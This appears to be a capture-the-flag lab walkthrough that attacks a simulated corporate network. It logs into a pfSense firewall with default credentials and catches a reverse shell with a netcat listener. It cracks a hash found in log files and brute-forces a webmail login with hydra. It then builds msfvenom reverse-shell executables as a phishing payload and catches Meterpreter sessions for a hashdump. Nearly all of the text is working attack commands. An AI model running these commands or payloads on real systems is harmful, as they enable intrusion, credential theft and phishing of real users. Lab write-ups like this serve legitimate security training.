Exploring the Caverns (Web Server Enumeration)
This step works through the first firewall, THROWBACK-FW01, turning web access into a shell and then using what that shell exposes to reach further into the network.
THROWBACK-FW01 (10.200.34.138)
The pfSense box uses the default login admin:pfsense.
Once logged in, go to Diagnostics > Command Prompt and run a Pentestmonkey PHP reverse shell. Start a netcat listener first so the callback has somewhere to land:
nc -lvnp 6252
With a shell back, hunt for log files:
find / -name *.log -type f
That turns up a username and a password hash. Crack it with http://crackstation.net:
This gives the username HumphreyW and the password securitycenter.
Trying those on the Throwback Hacks - Login Page shows they are the same credentials for the panel at http://10.200.34.232:
Inside, the inbox holds an email with a list of company employees:
Brute-forcing the Login with Hydra
Next, build a names.txt file from those usernames to brute-force with hydra. First the user and password parameters have to be identified so an http-post-form request can be built. The browser's built-in Inspect Element feature reveals them:
Hydra command:
hydra -L names.txt -P pass.txt 10.200.34.232 http-post-form "/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown user or password incorrect" -v
This returns a list of valid logins:
Phishing with a Malicious Payload
Digging around, the user DaviesJ:Management2018 has a VulnerabilitiesUpdate.exe file. That is the hook for a phishing email. Generate a reverse-shell executable:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.50.31.168 LPORT=6666 -f exe > Cleaner.exe
This uncovers a new IP: 10.200.34.222.
Catching a Meterpreter Session
Set up a handler to catch a session on it:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 443
set LHOST tun0
exploit -j # runs exploit in the background until a session is established
The callback came in using msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f exe > CleanerMAX.exe. After migrating into a system process with migrate 4360, a hashdump worked, though BlaireJ would not crack.
Next up is attacking http://10.200.34.219 - THROWBACK-PROD.